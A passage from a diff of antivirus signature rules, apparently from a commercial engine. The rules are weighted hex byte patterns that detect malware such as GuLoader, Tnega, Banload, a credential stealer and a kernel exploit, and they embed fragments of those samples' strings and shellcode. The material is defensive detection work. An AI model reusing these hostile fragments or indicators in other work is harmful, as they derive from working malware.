43 61 6e 63 65 6c 6c 61 74 69 6f 6e 54 6f 6b 65 6e 01 00 14 01 4a 61 76 61 53 63 72 69 70 74 53 65 72 69 61 6c 69 7a 65 72 01 00 24 01 36 31 39 63 62 32 62 31 2d 39 34 30 31 2d 34 30 32 35 2d 38 62 38 33 } //25633 + $a_66_5 = {34 32 64 39 61 31 61 31 01 00 4b 01 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 53 74 75 64 69 6f 2e 45 64 69 74 6f 72 73 2e 53 65 74 74 69 6e 67 73 44 65 73 69 67 } //25133 condition: - ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32501+(#a_61_2 & 1)*24931+(#a_61_3 & 1)*26988+(#a_01_4 & 1)*5376+(#a_5c_5 & 1)*26992) >=6 + ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32501+(#a_61_2 & 1)*24931+(#a_61_3 & 1)*26988+(#a_61_4 & 1)*25633+(#a_66_5 & 1)*25133) >=6 } -rule _InfrastructureShared_16542{ +rule _InfrastructureShared_17628{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 53 74 61 73 68 2e 42 41 21 64 68 61 00 01 00 0e 01 57 65 62 53 6f 63 6b 65 74 53 68 61 72 70 01 00 0a 01 76 34 2e 30 2e 33 30 33 31 39 01 00 11 01 43 61 6e 63 65 6c 6c } //16675 + $a_6f_1 = {54 6f 6b 65 6e 01 00 14 01 4a 61 76 61 53 63 72 69 70 74 53 65 72 69 61 6c 69 7a 65 72 01 00 24 01 36 31 39 63 62 32 62 31 2d 39 34 30 31 2d 34 30 32 35 2d 38 62 38 33 2d 62 38 66 64 34 32 64 39 61 31 61 31 01 00 4b 01 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 53 74 75 64 69 6f 2e 45 64 69 74 6f 72 73 2e 53 } //29793 + $a_69_2 = {67 73 44 65 73 69 67 6e 65 72 2e 53 65 74 74 69 6e 67 73 53 69 6e 67 6c 65 46 69 6c 65 47 65 6e 65 72 61 74 6f 72 01 00 15 01 53 4d 4e 65 74 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 00 00 78 0c 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 50 30 31 21 4d 54 42 00 01 00 15 81 01 54 72 79 } //29797 + $a_68_3 = {6e 5c 75 6e 64 65 72 73 63 68 65 6d 65 01 00 15 81 01 38 38 5c 74 72 61 69 6e 79 5c 73 6f 6c 66 65 67 65 2e 6b 6f 6e 01 00 18 81 01 23 5c 4f 64 6f 6e 74 69 61 73 69 73 5c 47 6f 61 74 69 73 68 6e 65 73 73 01 00 22 81 01 25 6b 61 69 66 25 5c 70 65 72 6f 78 79 61 63 69 64 5c 53 6b 72 61 65 6e 74 65 6e 31 33 35 2e 63 68 72 01 00 20 81 01 } //28532 + $a_6f_4 = {6f 74 72 6f 70 69 63 5c 63 65 6c 6c 61 72 65 64 5c 74 65 67 6e 6d 73 73 69 67 65 01 00 1e 81 01 76 61 6e 64 61 6c 69 73 65 72 65 6e 64 65 73 20 74 6f 6d 61 6e 64 73 74 65 6c 74 65 6e 65 01 00 1e 81 01 6e 75 63 6c 65 69 6e 61 73 65 20 6e 6f 6d 69 6e 61 6c 69 74 79 20 62 6f 72 6e 69 74 69 63 00 00 78 0c 01 00 08 } //28769 + $a_48_6 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 58 21 4d 54 42 00 01 00 } //8448 + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29793+(#a_69_2 & 1)*29797+(#a_68_3 & 1)*28532+(#a_6f_4 & 1)*28769+(#a_48_6 & 1)*8448) >=7 + +} +rule _InfrastructureShared_17629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 50 30 31 21 4d 54 42 00 01 00 15 81 01 54 72 79 74 6f 70 68 61 6e 5c 75 6e 64 65 72 73 63 68 65 6d 65 01 00 15 81 01 38 38 5c 74 72 61 69 6e 79 5c 73 6f 6c 66 65 67 65 2e 6b 6f 6e 01 00 18 81 } //18467 $a_4f_1 = {6f 6e 74 69 61 73 69 73 5c 47 6f 61 74 69 73 68 6e 65 73 73 01 00 22 81 01 25 6b 61 69 66 25 5c 70 65 72 6f 78 79 61 63 69 64 5c 53 6b 72 61 65 6e 74 65 6e 31 33 35 2e 63 68 72 01 00 20 81 01 61 70 68 6f 74 6f 74 72 6f 70 69 63 5c 63 65 6c 6c 61 72 65 64 5c 74 65 67 6e 6d 73 } //8961 - $a_65_2 = {00 1e 81 01 76 61 6e 64 61 6c 69 73 65 72 65 6e 64 65 73 20 74 6f 6d 61 6e 64 73 74 65 6c 74 65 6e 65 01 00 1e 81 01 6e 75 63 6c 65 69 6e 61 73 65 20 6e 6f 6d 69 6e 61 6c 69 74 79 20 62 6f 72 6e 69 74 69 63 00 00 78 0c 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 } //26995 - $a_53_3 = {4c 2f 54 6e 65 67 61 2e 52 50 30 36 30 31 32 32 21 45 4d 4c 00 01 00 18 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 74 00 61 00 01 00 16 00 64 00 72 00 61 00 77 00 69 00 6e 00 67 00 2e 00 70 00 6e 00 67 00 01 00 } //14962 - $a_00_4 = {6f 00 57 00 6f 00 72 00 6b 00 01 00 4c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 46 00 6f 00 72 00 6d 00 73 00 41 00 70 00 70 00 37 00 30 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 } //12 - $a_00_5 = {52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 10 01 4d 61 6e 75 61 6c 52 65 73 65 74 45 76 65 6e 74 01 00 06 01 2e 63 63 74 } //115 - $a_00_6 = {07 } //29295 + $a_65_2 = {00 1e 81 01 76 61 6e 64 61 6c 69 73 65 72 65 6e 64 65 73 20 74 6f 6d 61 6e 64 73 74 65 6c 74 65 6e 65 01 00 1e 81 01 6e 75 63 6c 65 69 6e 61 73 65 20 6e 6f 6d 69 6e 61 6c 69 74 79 20 62 6f 72 6e 69 74 69 63 00 00 78 0c 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 } //26995 + $a_64_3 = {72 2e 53 53 58 21 4d 54 42 00 01 00 29 81 01 5c 6c 65 6a 65 76 72 64 69 62 65 72 65 67 6e 69 6e 67 65 72 73 5c 43 6f 78 61 6c 67 69 61 73 5c 4b 61 6b 6b 65 6c 6f 76 6e 01 00 0e 81 01 5c 42 61 62 79 65 6e 31 37 31 2e 74 78 74 01 00 0e 81 01 41 75 74 6f 62 61 6e 65 34 32 2e 74 78 74 01 00 1c } //28492 + $a_65_4 = {74 69 6c 69 74 65 74 73 6b 6c 69 6e 69 6b 6b 65 72 6e 65 34 37 2e 61 66 6b 01 00 18 81 01 66 6f 72 65 73 74 69 6c 6c 69 6e 67 73 6b 72 65 64 73 65 6e 2e 69 6e 69 01 00 13 81 01 69 6e 73 75 66 66 69 63 69 65 6e } //385 + $a_73_5 = {76 65 64 01 00 15 81 01 72 65 6e 64 65 73 74 65 6e 73 73 70 72 6f 67 65 74 2e 74 78 74 01 00 16 81 01 73 74 65 72 65 6f 67 65 6e 67 69 76 65 6c 73 65 6e 73 2e 74 78 74 00 00 78 0c 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 30 36 30 31 32 } //25971 + $a_4d_6 = {00 01 00 18 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 74 00 61 00 01 00 16 00 64 00 72 00 61 00 77 00 69 00 6e 00 67 00 2e 00 70 00 6e 00 67 00 01 00 0c 00 44 00 6f 00 57 00 6f 00 72 00 } //8498 condition: - ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*8961+(#a_65_2 & 1)*26995+(#a_53_3 & 1)*14962+(#a_00_4 & 1)*12+(#a_00_5 & 1)*115+(#a_00_6 & 1)*29295) >=7 + ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*8961+(#a_65_2 & 1)*26995+(#a_64_3 & 1)*28492+(#a_65_4 & 1)*385+(#a_73_5 & 1)*25971+(#a_4d_6 & 1)*8498) >=7 } -rule _InfrastructureShared_16543{ +rule _InfrastructureShared_17630{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 58 21 4d 54 42 00 01 00 29 81 01 5c 6c 65 6a 65 76 72 64 69 62 65 72 65 67 6e 69 6e 67 65 72 73 5c 43 6f 78 61 6c 67 69 61 73 5c 4b 61 6b 6b 65 6c 6f 76 6e 01 00 0e 81 01 5c } //18467 + $a_79_1 = {6e 31 37 31 2e 74 78 74 01 00 0e 81 01 41 75 74 6f 62 61 6e 65 34 32 2e 74 78 74 01 00 1c 81 01 46 65 72 74 69 6c 69 74 65 74 73 6b 6c 69 6e 69 6b 6b 65 72 6e 65 34 37 2e 61 66 6b 01 00 18 81 01 66 6f 72 65 73 74 69 6c 6c 69 6e 67 73 6b 72 65 64 73 65 6e 2e 69 6e 69 01 00 13 81 01 69 6e 73 75 } //24898 + $a_63_2 = {65 6e 73 65 6e 73 2e 76 65 64 01 00 15 81 01 72 65 6e 64 65 73 74 65 6e 73 73 70 72 6f 67 65 74 2e 74 78 74 01 00 16 81 01 73 74 65 72 65 6f 67 65 6e 67 69 76 65 6c 73 65 6e 73 2e 74 78 74 00 00 78 0c 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 } //26214 + $a_61_3 = {52 50 30 36 30 31 32 32 21 45 4d 4c 00 01 00 18 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 44 00 61 00 74 00 61 00 01 00 16 00 64 00 72 00 61 00 77 00 69 00 6e 00 67 00 2e 00 70 00 6e 00 67 00 01 00 0c 00 44 00 6f 00 57 00 6f 00 72 00 6b 00 01 00 4c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 46 00 } //25966 + $a_00_4 = {6d 00 73 00 41 00 70 00 70 00 37 00 30 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 10 01 4d 61 6e 75 61 6c 52 65 73 65 74 45 76 65 6e 74 01 00 06 01 2e 63 63 74 6f 72 01 00 07 01 57 61 69 74 4f 6e 65 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 76 } //111 + $a_65_5 = {00 78 0c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 54 34 37 21 4d 54 42 00 01 00 0d 81 01 62 69 6c 6c 65 74 68 75 6c 2e 74 69 6c 01 00 13 81 01 64 69 73 61 70 70 72 6f 62 61 74 69 6f 6e 73 2e 6d 6f 74 01 00 10 81 01 75 70 61 61 61 67 74 65 74 68 65 64 2e 75 6e 62 01 00 } //29285 + $a_5c_6 = {61 } //-32498 a + $a_6c_7 = {62 61 6e 6b 65 6e 01 00 13 81 01 5c 4d 61 6d 6d 75 74 74 65 72 73 5c 43 6c 75 74 74 65 72 01 00 10 81 01 48 65 6c 73 69 6e 67 62 6f 72 67 73 2e 6e 6f 6e 01 00 0d 81 01 61 64 6e 65 73 63 65 6e 74 2e 6b 72 73 01 00 0a 81 01 61 74 61 78 69 61 2e 73 74 6f 01 00 19 81 01 62 72 79 6c 6c 75 70 73 64 61 67 65 } //25710 + condition: + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*24898+(#a_63_2 & 1)*26214+(#a_61_3 & 1)*25966+(#a_00_4 & 1)*111+(#a_65_5 & 1)*29285+(#a_5c_6 & 1)*-32498+(#a_6c_7 & 1)*25710) >=8 + +} +rule _InfrastructureShared_17631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -194890,7 +207935,7 @@ rule _InfrastructureShared_16543{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*46+(#a_45_3 & 1)*25971+(#a_64_4 & 1)*-32493+(#a_72_5 & 1)*28769+(#a_00_6 & 1)*29554+(#a_74_7 & 1)*385+(#a_67_8 & 1)*12108) >=9 } -rule _InfrastructureShared_16544{ +rule _InfrastructureShared_17632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -194909,7 +207954,7 @@ rule _InfrastructureShared_16544{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24929+(#a_00_2 & 1)*28532+(#a_72_3 & 1)*385+(#a_54_4 & 1)*8530+(#a_01_5 & 1)*1792+(#a_78_6 & 1)*30840+(#a_90_7 & 1)*1025+(#a_74_8 & 1)*28515+(#a_6c_9 & 1)*26950) >=10 } -rule _InfrastructureShared_16545{ +rule _InfrastructureShared_17633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0c 00 21 " @@ -194924,12 +207969,12 @@ rule _InfrastructureShared_16545{ $a_61_8 = {74 73 01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 09 01 45 71 75 69 70 6d 65 6e 74 01 00 08 01 51 75 69 63 6b 65 73 74 01 00 07 01 54 6f 41 72 72 61 79 00 00 78 0c 01 00 14 00 14 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e } //261 $a_4d_9 = {79 6f 72 52 6f 6f 6d 2e 41 21 64 68 61 00 0a 00 46 01 31 3a 20 6b 69 6c 6c 20 75 73 69 6e 67 20 53 65 74 56 70 53 74 61 74 65 20 62 75 67 3a } //12851 $a_64_10 = {65 74 56 70 53 74 61 74 65 20 70 66 6e 20 61 72 72 61 79 20 6d 65 6d 6f 72 79 20 6f 76 65 72 77 72 69 74 65 0a 00 57 01 32 3a 20 6b 69 6c 6c 20 75 73 69 6e 67 20 45 78 6f 42 72 6f 6b 65 72 20 62 75 67 3a 20 56 69 64 45 78 6f 42 72 6f 6b 65 72 20 73 68 61 72 65 64 20 64 61 74 61 20 72 65 74 72 69 65 76 61 6c 20 6b } //22048 - $a_65_11 = {20 6d 65 6d 6f 72 79 20 6f 76 65 72 77 72 69 74 65 0a 00 22 01 57 6f 75 6c 64 20 79 6f 75 20 6c 69 6b 65 20 74 6f 20 6b 69 6c 6c 20 73 79 73 74 65 6d 20 6e 6f 77 3f 0a 00 11 01 68 79 70 65 72 6b 69 6c 6c 2e 65 78 65 20 2f 6b 6c 00 00 78 0c 01 00 ca 00 ca 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 } //29285 + $a_65_11 = {20 6d 65 6d 6f 72 79 20 6f 76 65 72 77 72 69 74 65 0a 00 22 01 57 6f 75 6c 64 20 79 6f 75 20 6c 69 6b 65 20 74 6f 20 6b 69 6c 6c 20 73 79 73 74 65 6d 20 6e 6f 77 3f 0a 00 11 01 68 79 70 65 72 6b 69 6c 6c 2e 65 78 65 20 2f 6b 6c 00 00 78 0c 01 00 50 00 50 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 } //29285 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*16761+(#a_78_2 & 1)*24942+(#a_00_3 & 1)*8196+(#a_00_5 & 1)*111+(#a_32_6 & 1)*12339+(#a_64_7 & 1)*25961+(#a_61_8 & 1)*261+(#a_4d_9 & 1)*12851+(#a_64_10 & 1)*22048+(#a_65_11 & 1)*29285) >=11 } -rule _InfrastructureShared_16546{ +rule _InfrastructureShared_17634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -194942,7 +207987,7 @@ rule _InfrastructureShared_16546{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*4357+(#a_04_2 & 1)*-28561+(#a_11_3 & 1)*400) >=12 } -rule _InfrastructureShared_16547{ +rule _InfrastructureShared_17635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -194951,21 +207996,20 @@ rule _InfrastructureShared_16547{ $a_65_1 = {64 01 00 18 01 3c 51 75 61 6c 69 74 79 3e 6b 5f 5f 42 61 63 6b 69 6e 67 46 69 65 6c 64 01 00 09 01 67 65 74 5f 46 72 65 73 68 01 00 09 01 73 65 74 5f 46 72 65 73 68 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 06 01 42 69 6e 64 65 72 01 00 0e 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 05 01 43 61 } //18023 $a_01_2 = {00 05 01 50 61 72 74 73 01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 09 01 45 71 75 69 70 6d 65 6e 74 01 00 08 01 51 75 69 63 6b 65 73 74 01 00 07 01 54 6f 41 72 72 61 79 00 00 78 0c 01 00 14 00 14 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 61 79 6f 72 52 6f 6f 6d 2e 41 21 64 68 61 00 0a 00 46 01 31 3a 20 6b 69 6c } //29810 $a_73_3 = {6e 67 20 53 65 74 56 70 53 74 61 74 65 20 62 75 67 3a 20 56 69 64 53 65 74 56 70 53 74 61 74 65 20 70 66 6e 20 61 72 72 61 79 20 6d 65 6d 6f 72 79 20 6f 76 65 72 77 72 69 74 65 0a 00 57 01 32 3a 20 6b 69 6c 6c 20 75 73 69 6e 67 20 45 78 6f 42 72 6f 6b 65 72 20 62 75 67 3a 20 56 69 64 45 78 6f 42 72 6f 6b 65 72 20 73 68 61 72 65 64 20 64 61 74 61 20 } //8300 - $a_72_4 = {65 76 61 6c 20 6b 65 72 6e 65 6c 20 6d 65 6d 6f 72 79 20 6f 76 65 72 77 72 69 74 65 0a 00 22 01 57 6f 75 6c 64 20 79 6f 75 20 6c 69 6b 65 20 74 6f 20 6b 69 6c 6c 20 73 79 73 74 65 6d 20 6e 6f 77 3f 0a 00 11 01 68 79 70 65 72 6b 69 6c 6c 2e 65 78 65 20 2f 6b 6c 00 00 78 0c 01 00 ca 00 ca 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 } //25970 - $a_2f_5 = {6e 6a 65 63 74 6f 72 2e 46 41 00 64 00 2b 03 6a 6b 58 6a 65 66 89 45 90 01 01 58 6a 72 66 89 45 90 01 01 58 6a 6e 66 89 45 90 01 01 58 6a 65 66 89 45 } //13166 - $a_58_6 = {6c } //400 l - $a_00_7 = {15 03 8d 14 7e 8a 54 15 90 01 01 32 54 7d 90 01 01 f6 c2 df 75 90 00 01 00 18 03 56 69 72 74 c7 45 90 01 01 75 61 6c 41 c7 45 90 01 01 6c 6c 6f 63 90 00 01 00 17 03 45 78 69 74 c7 45 90 01 01 54 68 72 65 66 c7 45 90 01 01 61 64 90 00 01 00 18 03 4c 6f 61 64 c7 45 90 01 01 4c 69 62 72 c7 45 90 01 01 } //144 - $a_41_8 = {00 01 00 20 03 4c 6f 61 64 c7 45 90 01 01 4c 69 62 72 c7 45 90 01 01 61 72 79 45 66 c7 45 90 01 01 78 41 90 00 01 00 20 03 47 65 74 50 c7 45 90 01 01 72 6f 63 41 c7 45 90 01 01 64 64 72 65 66 c7 45 90 01 01 73 73 90 00 00 00 78 0d 01 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 } //29281 - $a_58_9 = {01 00 a2 01 42 00 30 00 34 00 30 00 45 00 31 00 30 00 37 00 33 00 42 00 34 00 37 00 34 00 35 00 33 00 46 00 46 00 41 00 34 00 30 00 38 00 34 00 46 00 36 00 32 00 35 00 41 00 43 00 32 00 44 00 30 00 43 00 } //16942 - $a_00_10 = {39 00 31 00 42 00 44 00 44 00 41 00 30 00 31 00 32 00 44 00 30 00 46 00 34 00 43 00 38 00 46 00 43 00 37 00 36 00 31 00 38 00 42 00 42 00 44 00 42 00 } //51 91BDDA012D0F4C8FC7618BBDB - $a_00_11 = {46 00 46 00 43 00 35 00 36 00 38 00 42 00 34 00 30 00 46 00 46 00 36 00 46 00 38 00 31 00 41 00 45 00 34 00 33 00 00 00 01 00 32 01 30 00 44 00 33 00 30 00 } //52 - $a_00_12 = {37 00 38 00 39 00 37 00 33 00 31 00 39 00 35 00 34 00 44 00 33 00 37 00 41 00 45 00 31 00 34 00 33 00 44 00 00 00 00 00 78 0d 01 00 02 00 02 00 05 00 21 23 41 4c 46 } //67 - $a_56_13 = {46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 6f 66 61 63 79 5f 41 5a 5a 59 5f 42 61 63 6b 64 6f 6f 72 5f 49 6d 70 6c 61 6e 74 5f 31 00 01 00 38 03 5c 00 } //22842 + $a_72_4 = {65 76 61 6c 20 6b 65 72 6e 65 6c 20 6d 65 6d 6f 72 79 20 6f 76 65 72 77 72 69 74 65 0a 00 22 01 57 6f 75 6c 64 20 79 6f 75 20 6c 69 6b 65 20 74 6f 20 6b 69 6c 6c 20 73 79 73 74 65 6d 20 6e 6f 77 3f 0a 00 11 01 68 79 70 65 72 6b 69 6c 6c 2e 65 78 65 20 2f 6b 6c 00 00 78 0c 01 00 50 00 50 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //25970 + $a_74_5 = {61 6c 65 72 2e 41 46 21 4d 54 42 00 0a 00 0a 81 01 43 72 79 70 74 6f 68 61 63 6b 0a 00 15 81 01 41 64 6a 75 73 74 54 6f 6b 65 6e 50 72 69 76 69 6c 65 67 65 73 0a 00 09 81 01 52 45 41 44 4d 45 2e 6d 64 0a 00 10 81 01 44 65 6c 65 74 65 20 6f 6e 20 72 } //12082 + $a_6f_6 = {0a 00 15 81 01 45 78 70 6c 6f 72 65 72 5c 51 75 69 63 6b 20 4c 61 75 6e 63 68 0a 00 23 81 01 44 45 46 41 55 4c 54 5c 43 6f 6e 74 72 6f 6c 20 50 61 6e 65 6c 5c 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 0a 00 24 81 01 43 6f 6e 74 72 6f 6c 20 50 61 6e 65 6c 5c 44 65 73 6b 74 6f 70 5c 52 65 73 6f 75 72 63 65 4c 6f 63 61 6c 65 0a 00 26 81 } //25189 + $a_5c_7 = {45 4d 50 5c 4d 79 43 6f 6f 6c 41 70 70 5c 43 72 79 70 74 6f 68 61 63 6b 5c 62 75 69 6c 64 5c 65 78 65 00 00 78 0c 01 00 ca 00 ca 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f } //17153 + $a_57_8 = {6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 46 41 00 64 00 2b 03 6a 6b 58 6a 65 66 89 45 90 01 01 58 6a 72 66 89 45 90 01 01 58 6a 6e 66 89 45 90 01 01 58 6a 65 66 89 45 90 01 01 } //27759 + $a_90_9 = {64 00 15 03 8d 14 7e 8a 54 15 ?? 32 54 7d ?? f6 c2 df 75 90 00 01 00 18 03 56 69 72 74 c7 45 ?? 75 61 6c 41 c7 45 ?? 6c 6c 6f 63 90 00 01 00 17 03 45 78 69 74 c7 45 ?? 54 68 72 65 66 c7 45 ?? 61 64 90 00 01 00 18 03 4c 6f 61 64 c7 45 ?? 4c 69 62 72 c7 45 ?? 61 72 79 41 } //27224 + $a_03_10 = {4c 6f 61 64 c7 45 ?? 4c 69 62 72 c7 45 ?? 61 72 79 45 66 c7 45 ?? 78 41 } //1 + $a_03_11 = {47 65 74 50 c7 45 ?? 72 6f 63 41 c7 45 ?? 64 64 72 65 66 c7 45 ?? 73 73 } //1 + $a_0d_12 = {01 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e 42 44 58 00 01 00 a2 01 42 00 30 00 34 00 30 00 45 00 31 00 30 00 37 00 33 00 42 00 34 00 37 00 34 00 35 00 33 00 46 00 46 00 41 00 34 00 30 00 38 00 34 00 46 00 36 00 32 00 35 00 41 00 43 00 32 00 44 00 30 00 43 00 33 00 32 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*18023+(#a_01_2 & 1)*29810+(#a_73_3 & 1)*8300+(#a_72_4 & 1)*25970+(#a_2f_5 & 1)*13166+(#a_58_6 & 1)*400+(#a_00_7 & 1)*144+(#a_41_8 & 1)*29281+(#a_58_9 & 1)*16942+(#a_00_10 & 1)*51+(#a_00_11 & 1)*52+(#a_00_12 & 1)*67+(#a_56_13 & 1)*22842) >=14 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*18023+(#a_01_2 & 1)*29810+(#a_73_3 & 1)*8300+(#a_72_4 & 1)*25970+(#a_74_5 & 1)*12082+(#a_6f_6 & 1)*25189+(#a_5c_7 & 1)*17153+(#a_57_8 & 1)*27759+(#a_90_9 & 1)*27224+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_0d_12 & 1)*0) >=14 } -rule _InfrastructureShared_16548{ +rule _InfrastructureShared_17636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " @@ -194973,12 +208017,29 @@ rule _InfrastructureShared_16548{ $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 61 79 6f 72 52 6f 6f 6d 2e 41 21 64 68 61 00 0a 00 46 01 31 3a 20 6b 69 6c 6c 20 75 73 69 6e 67 20 53 65 74 56 70 53 74 61 74 65 20 62 75 67 3a 20 56 69 64 53 65 74 56 70 53 74 61 74 } //16675 $a_66_1 = {20 61 72 72 61 79 20 6d 65 6d 6f 72 79 20 6f 76 65 72 77 72 69 74 65 0a 00 57 01 32 3a 20 6b 69 6c 6c 20 75 73 69 6e 67 20 45 78 6f 42 72 6f 6b 65 72 20 62 75 67 3a 20 56 69 64 45 78 6f 42 72 6f 6b 65 72 20 73 68 61 72 65 64 20 64 61 74 61 20 72 65 74 72 69 65 76 61 6c 20 6b 65 72 6e 65 6c 20 6d 65 6d 6f 72 79 20 6f 76 65 72 77 72 69 } //8293 $a_00_2 = {22 01 57 6f 75 6c 64 20 79 6f } //25972 - $a_69_3 = {65 20 74 6f 20 6b 69 6c 6c 20 73 79 73 74 65 6d 20 6e 6f 77 3f 0a 00 11 01 68 79 70 65 72 6b 69 6c 6c 2e 65 78 65 20 2f 6b 6c 00 00 78 0c 01 00 ca 00 ca 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 46 41 00 64 00 2b 03 6a 6b 58 6a 65 66 89 45 90 01 01 58 6a 72 66 89 45 } //8309 + $a_69_3 = {65 20 74 6f 20 6b 69 6c 6c 20 73 79 73 74 65 6d 20 6e 6f 77 3f 0a 00 11 01 68 79 70 65 72 6b 69 6c 6c 2e 65 78 65 20 2f 6b 6c 00 00 78 0c 01 00 50 00 50 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 41 46 21 4d 54 42 00 0a 00 0a 81 01 43 72 79 70 74 6f 68 61 63 6b 0a 00 15 81 01 } //8309 condition: ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*8293+(#a_00_2 & 1)*25972+(#a_69_3 & 1)*8309) >=20 } -rule _InfrastructureShared_16549{ +rule _InfrastructureShared_17637{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,50 00 50 00 08 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 41 46 21 4d 54 42 00 0a 00 0a 81 01 43 72 79 70 74 6f 68 61 63 6b 0a 00 15 81 01 41 64 6a 75 73 74 54 6f 6b 65 6e 50 72 69 76 69 6c 65 67 65 73 } //21539 + $a_81_1 = {52 45 41 44 4d 45 2e 6d 64 } //10 README.md + $a_81_2 = {44 65 6c 65 74 65 20 6f 6e 20 72 65 62 6f 6f 74 } //10 Delete on reboot + $a_81_3 = {45 78 70 6c 6f 72 65 72 5c 51 75 69 63 6b 20 4c 61 75 6e 63 68 } //10 Explorer\Quick Launch + $a_81_4 = {44 45 46 41 55 4c 54 5c 43 